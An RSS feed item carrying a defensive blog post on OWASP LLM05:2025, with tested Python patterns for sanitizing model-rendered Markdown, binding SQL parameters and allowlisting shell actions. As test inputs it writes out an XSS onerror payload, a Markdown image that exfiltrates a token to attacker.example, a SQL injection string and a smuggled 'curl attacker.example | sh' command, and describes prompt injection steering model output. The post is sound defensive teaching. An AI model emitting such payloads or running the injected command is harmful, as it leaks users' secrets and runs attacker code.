<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Xss | FirewallSync</title><link>https://firewallsync.com/tags/xss/</link><description>Practical cybersecurity writing for engineering teams that ship fast.</description><language>en-us</language><image><url>https://firewallsync.com/icon-512.png</url><title>FirewallSync</title><link>https://firewallsync.com/</link></image><lastBuildDate>Thu, 22 Oct 2026 18:45:00 +0000</lastBuildDate><atom:link href="https://firewallsync.com/tags/xss/index.xml" rel="self" type="application/rss+xml"/><item><title>LLM Output Handling: Treat Model Output as Untrusted Input</title><link>https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/</link><guid>https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/</guid><pubDate>Thu, 22 Oct 2026 18:45:00 +0000</pubDate><dc:creator>Craig Leslie</dc:creator><category>AI Security</category><description>OWASP's LLM05:2025 covers what happens when an application passes model output to a browser, database, shell or file path without validation. Because prompt injection can steer that output, it should be handled like user input. Here are the failure modes and tested Python patterns for HTML, SQL and tool calls.</description><enclosure url="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" alt="A tattooed arm holding a paper filter of coffee grounds as coffee drips into a glass carafe below" width="1200" height="630"></p><p>A model&rsquo;s output feels like your application&rsquo;s own text. It isn&rsquo;t. Anyone who can influence the prompt, directly or through a web page, email or file the model reads, can influence what comes out. When that output is rendered as HTML, run as SQL, passed to a shell or used as a file path, the attacker&rsquo;s influence reaches those systems too. OWASP&rsquo;s Top 10 for LLM Applications calls this <strong>LLM05:2025 Improper Output Handling</strong>.</p>
<p><strong>Scope.</strong> Based on OWASP&rsquo;s LLM05:2025 entry (read from the project&rsquo;s GitHub repository on October 22, 2026). The Python examples were run with Python 3.13, Python-Markdown 3.10.3, nh3 0.3.7 (a Python binding to the Rust Ammonia sanitizer), Pydantic 2.13.5 and SQLite. They demonstrate patterns; they are not a complete defense for any particular application.</p>
<h2 id="what-owasp-covers">What OWASP covers</h2>
<p>OWASP defines LLM05 as &ldquo;insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems&rdquo;. It notes that because output can be controlled through the prompt, this is &ldquo;similar to providing users indirect access to additional functionality&rdquo;. It separates LLM05 from overreliance: LLM05 is about what happens to output before it goes downstream, not about whether the output is accurate.</p>
<p>OWASP&rsquo;s common examples:</p>
<table>
  <thead>
      <tr>
          <th>Where the output goes</th>
          <th>What can go wrong (OWASP example)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>A shell, <code>exec</code> or <code>eval</code></td>
          <td>Remote code execution</td>
      </tr>
      <tr>
          <td>A browser, as JavaScript or Markdown</td>
          <td>Cross-site scripting (XSS)</td>
      </tr>
      <tr>
          <td>A database, as generated SQL</td>
          <td>SQL injection</td>
      </tr>
      <tr>
          <td>A file path</td>
          <td>Path traversal</td>
      </tr>
      <tr>
          <td>An email template</td>
          <td>Phishing content</td>
      </tr>
  </tbody>
</table>
<p>OWASP also lists conditions that raise the impact: giving the model more privileges than end users have, exposure to indirect prompt injection, third-party extensions that don&rsquo;t validate inputs, no context-aware output encoding, and missing monitoring and rate limiting.</p>
<p>The rest of this article covers three of those destinations with patterns we ran.</p>
<h2 id="1-rendering-markdown-and-html">1. Rendering Markdown and HTML</h2>
<p>Chat interfaces usually render model output as Markdown. Markdown libraries commonly pass raw HTML through (Python-Markdown did in our test), so a model that has been told to emit <code>&lt;img src=x onerror=...&gt;</code> produces script execution in the user&rsquo;s browser. Markdown images are a quieter problem: if the model emits <code>![x](https://attacker.example/c?d=SECRET)</code>, the browser fetches that URL when it renders the image, sending whatever the model put in it. One of OWASP&rsquo;s reference links describes this technique against a chat interface.</p>
<p>The pattern: convert Markdown to HTML, then sanitize the HTML with an allowlist, and only allow images from hosts you control.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> markdown<span style="color:#f92672">,</span> nh3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ALLOWED_TAGS <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;p&#34;</span>, <span style="color:#e6db74">&#34;ul&#34;</span>, <span style="color:#e6db74">&#34;ol&#34;</span>, <span style="color:#e6db74">&#34;li&#34;</span>, <span style="color:#e6db74">&#34;strong&#34;</span>, <span style="color:#e6db74">&#34;em&#34;</span>, <span style="color:#e6db74">&#34;code&#34;</span>, <span style="color:#e6db74">&#34;pre&#34;</span>, <span style="color:#e6db74">&#34;a&#34;</span>, <span style="color:#e6db74">&#34;img&#34;</span>, <span style="color:#e6db74">&#34;blockquote&#34;</span>}
</span></span><span style="display:flex;"><span>IMG_HOSTS <span style="color:#f92672">=</span> (<span style="color:#e6db74">&#34;https://cdn.example.com/&#34;</span>,)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">drop_foreign_images</span>(tag, name, value):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> tag <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;img&#34;</span> <span style="color:#f92672">and</span> name <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;src&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> value <span style="color:#66d9ef">if</span> value<span style="color:#f92672">.</span>startswith(IMG_HOSTS) <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">None</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> value
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">render_model_markdown</span>(text: str) <span style="color:#f92672">-&gt;</span> str:
</span></span><span style="display:flex;"><span>    html <span style="color:#f92672">=</span> markdown<span style="color:#f92672">.</span>markdown(text)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> nh3<span style="color:#f92672">.</span>clean(html, tags<span style="color:#f92672">=</span>ALLOWED_TAGS,
</span></span><span style="display:flex;"><span>                     attributes<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;a&#34;</span>: {<span style="color:#e6db74">&#34;href&#34;</span>}, <span style="color:#e6db74">&#34;img&#34;</span>: {<span style="color:#e6db74">&#34;src&#34;</span>, <span style="color:#e6db74">&#34;alt&#34;</span>}},
</span></span><span style="display:flex;"><span>                     url_schemes<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;https&#34;</span>},
</span></span><span style="display:flex;"><span>                     attribute_filter<span style="color:#f92672">=</span>drop_foreign_images)
</span></span></code></pre></div><p>We fed it this model output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Here is your summary. ![x](https://attacker.example/c?d=SECRET_TOKEN)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;img src=x onerror=alert(1)&gt; [click](javascript:alert(1)) ![logo](https://cdn.example.com/logo.png)
</span></span></code></pre></div><p>Result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;Here is your summary. &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;x&#34;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">img</span>&gt; &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;noopener noreferrer&#34;</span>&gt;click&lt;/<span style="color:#f92672">a</span>&gt; &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;logo&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://cdn.example.com/logo.png&#34;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span></code></pre></div><p>The <code>onerror</code> handler and the <code>javascript:</code> link are gone, the attacker&rsquo;s image URL was stripped, and the image from the allowed host survived. If you don&rsquo;t need images or links in model output, leave them out of the allowlist entirely. OWASP also recommends a strict Content Security Policy as a second layer; our <a href="/posts/content-security-policy-a-strict-nonce-based-policy-and-how-to-roll-it-out-safely/">nonce-based CSP guide</a> covers that, and an <code>img-src</code> directive limited to your own hosts blocks the image exfiltration path even if sanitization misses something.</p>
<p>If you display output as plain text, you don&rsquo;t need a sanitizer: HTML-encode it, which is what most template engines do by default unless you mark the content as safe.</p>
<h2 id="2-database-queries">2. Database queries</h2>
<p>OWASP&rsquo;s third scenario is a chat feature that writes SQL; a user asks for a query that deletes all tables, and the application runs it. OWASP recommends parameterized queries for any database operation involving model output.</p>
<p>The stronger design is to not let the model write SQL at all. Let it choose from operations you define and fill in typed parameters, which you validate before they go anywhere near the database:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> typing <span style="color:#f92672">import</span> Literal
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pydantic <span style="color:#f92672">import</span> BaseModel, ConfigDict, Field
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">OrderQuery</span>(BaseModel):
</span></span><span style="display:flex;"><span>    model_config <span style="color:#f92672">=</span> ConfigDict(extra<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;forbid&#34;</span>)
</span></span><span style="display:flex;"><span>    status: Literal[<span style="color:#e6db74">&#34;open&#34;</span>, <span style="color:#e6db74">&#34;shipped&#34;</span>, <span style="color:#e6db74">&#34;cancelled&#34;</span>]
</span></span><span style="display:flex;"><span>    limit: int <span style="color:#f92672">=</span> Field(default<span style="color:#f92672">=</span><span style="color:#ae81ff">20</span>, ge<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>, le<span style="color:#f92672">=</span><span style="color:#ae81ff">100</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_order_query</span>(db, model_json: str, customer_id: int):
</span></span><span style="display:flex;"><span>    q <span style="color:#f92672">=</span> OrderQuery<span style="color:#f92672">.</span>model_validate_json(model_json)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> db<span style="color:#f92672">.</span>execute(
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SELECT id, status FROM orders WHERE customer_id = ? AND status = ? LIMIT ?&#34;</span>,
</span></span><span style="display:flex;"><span>        (customer_id, q<span style="color:#f92672">.</span>status, q<span style="color:#f92672">.</span>limit))<span style="color:#f92672">.</span>fetchall()
</span></span></code></pre></div><p>Three details matter. The SQL text is yours. The values are bound as parameters. And <code>customer_id</code> comes from the authenticated session, not from the model, so a prompt can&rsquo;t redirect the query to another customer&rsquo;s data. We tested it against an in-memory SQLite table:</p>
<table>
  <thead>
      <tr>
          <th>Model output</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;}</code></td>
          <td>Returned only customer 42&rsquo;s open order</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open' OR 1=1 --&quot;}</code></td>
          <td>Rejected: not one of the allowed literals</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;,&quot;customer_id&quot;:99}</code></td>
          <td>Rejected: extra field forbidden</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;,&quot;limit&quot;:100000}</code></td>
          <td>Rejected: limit above 100</td>
      </tr>
  </tbody>
</table>
<p>Most model APIs can be asked to return output that follows a JSON schema, which makes this pattern practical. Validate anyway: a schema request is not a guarantee.</p>
<h2 id="3-shell-commands-and-tool-calls">3. Shell commands and tool calls</h2>
<p>OWASP&rsquo;s first example is model output passed to a shell, <code>exec</code> or <code>eval</code>. The fix is the same shape: the model picks an action by name, your code maps the name to a fixed command, and nothing the model writes is interpreted by a shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> subprocess
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ACTIONS <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;disk_usage&#34;</span>: [<span style="color:#e6db74">&#34;df&#34;</span>, <span style="color:#e6db74">&#34;-h&#34;</span>], <span style="color:#e6db74">&#34;uptime&#34;</span>: [<span style="color:#e6db74">&#34;uptime&#34;</span>]}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_action</span>(model_choice: str):
</span></span><span style="display:flex;"><span>    argv <span style="color:#f92672">=</span> ACTIONS<span style="color:#f92672">.</span>get(model_choice)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> argv <span style="color:#f92672">is</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">raise</span> <span style="color:#a6e22e">ValueError</span>(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;action not allowed: </span><span style="color:#e6db74">{</span>model_choice<span style="color:#e6db74">!r}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> subprocess<span style="color:#f92672">.</span>run(argv, capture_output<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, text<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, timeout<span style="color:#f92672">=</span><span style="color:#ae81ff">10</span>, check<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>)<span style="color:#f92672">.</span>stdout
</span></span></code></pre></div><p>In our test, <code>&quot;uptime&quot;</code> ran the command, and <code>&quot;uptime; curl attacker.example | sh&quot;</code> was rejected because it isn&rsquo;t a key in the table. If an action needs an argument, such as a file name, validate it against a pattern and pass it as a separate list element, never by building a command string. For file paths, resolve the path and check it is inside the directory you expect before opening it.</p>
<p>The same logic applies to agent tools that call internal APIs. OWASP&rsquo;s first scenario describes a general-purpose model passing its output, unvalidated, to an extension with administrative functions. Give each tool the narrowest permission it needs, and validate tool arguments in the tool, not in the prompt.</p>
<h2 id="a-checklist">A checklist</h2>
<ul>
<li>List every place model output goes: browser, database, shell, file system, email, other APIs, other models.</li>
<li>For each, decide the encoding or validation that destination needs, as you would for user input. OWASP points to the ASVS (Application Security Verification Standard) for validation and encoding guidance.</li>
<li>Prefer structured output with an allowlist (actions, enums, typed fields) over free text that you parse.</li>
<li>Take identity and authorization from the session, never from model output.</li>
<li>Sanitize rendered Markdown or HTML with an allowlist, and restrict image and link destinations.</li>
<li>Log model outputs that reach sensitive sinks, and alert on validation failures. A spike in rejected tool calls is a useful signal of injection attempts.</li>
<li>Rate-limit model usage; OWASP lists missing rate limiting and anomaly detection as impact amplifiers.</li>
</ul>
<p>These controls limit what a manipulated model can do. They don&rsquo;t stop the manipulation, which is OWASP&rsquo;s LLM01:2025 Prompt Injection. If you are new to how request forgery from a server works, our <a href="/posts/ssrf-explained-how-server-side-request-forgery-works-and-how-to-prevent-it/">SSRF explainer</a> covers the SSRF outcome OWASP mentions.</p>
<h2 id="limits-of-this-article">Limits of this article</h2>
<p>The examples cover three destinations and were run in isolation, not inside a model-driven application. The sanitizer configuration is a starting point; review it against the content your interface actually needs. We did not test any specific model or vendor API, and we did not independently verify the incidents OWASP links as references.</p>
<h2 id="sources-and-verification">Sources and verification</h2>
<p>Checked on October 22, 2026.</p>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Verification</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>LLM05:2025 definition, difference from overreliance, possible outcomes, impact conditions, common examples, mitigations (treat model as a user, ASVS, context-aware encoding, parameterized queries, CSP, logging), scenarios</td>
          <td><a href="https://genai.owasp.org/llmrisk/llm052025-improper-output-handling/">OWASP Top 10 for LLM Applications 2025: LLM05 Improper Output Handling</a> (source text in OWASP&rsquo;s GitHub repository)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>LLM01:2025 is Prompt Injection</td>
          <td><a href="https://genai.owasp.org/llmrisk/llm01-prompt-injection/">OWASP LLM01:2025</a> (source text in OWASP&rsquo;s GitHub repository)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Sanitizer output for the test input</td>
          <td>Run by us on October 22, 2026 (Python-Markdown 3.10.3, nh3 0.3.7)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>SQL pattern accepts valid input and rejects the three bad inputs</td>
          <td>Run by us on October 22, 2026 (Pydantic 2.13.5, SQLite in memory)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Action allowlist rejects an injected command string</td>
          <td>Run by us on October 22, 2026</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Python-Markdown passes raw HTML through</td>
          <td>Observed in our test with version 3.10.3</td>
          <td>Verified for that version</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item></channel></rss>